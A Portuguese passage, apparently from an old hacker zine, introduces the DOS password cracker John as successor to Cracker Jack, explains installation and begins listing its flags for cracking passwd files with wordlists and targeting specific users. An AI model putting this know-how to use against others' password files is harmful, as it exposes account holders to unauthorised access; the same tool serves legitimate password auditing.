DOS. Ele e' melhor que seu antecessor em varios aspectos. Um deles e' que ele roda muito mais rapidamente em Pentiums e um pouco mais rapidamente em 486s. O John tem todas caracteristicas do Jack e mais algumas novas; seu jeito de crackear tambem e' diferente. Para usa-lo descompacte-o e copie o arquivo john.com ou john.exe para o diretorio do Cracker Jack. Isso mesmo ele pode ser usado com os arquivos do Jack ou se preferir sozinho Os dois arquivos fazem praticamente a mesma coisa, mas se voce usar o john.com o desempenho de seu trabalho sera melhor. Eis os possiveis argumentos do programa: Usage: JOHN [flags] [-stdin|-w:wordfile] [passwd files] Flags: -pwfile:[,..] specify passwd file(s) (wildcards allowed) -wordfile: specify wordlist file -restore[:] restore session [from ] -user:login|uid[,..] only crack this (these) user(s) -timeout: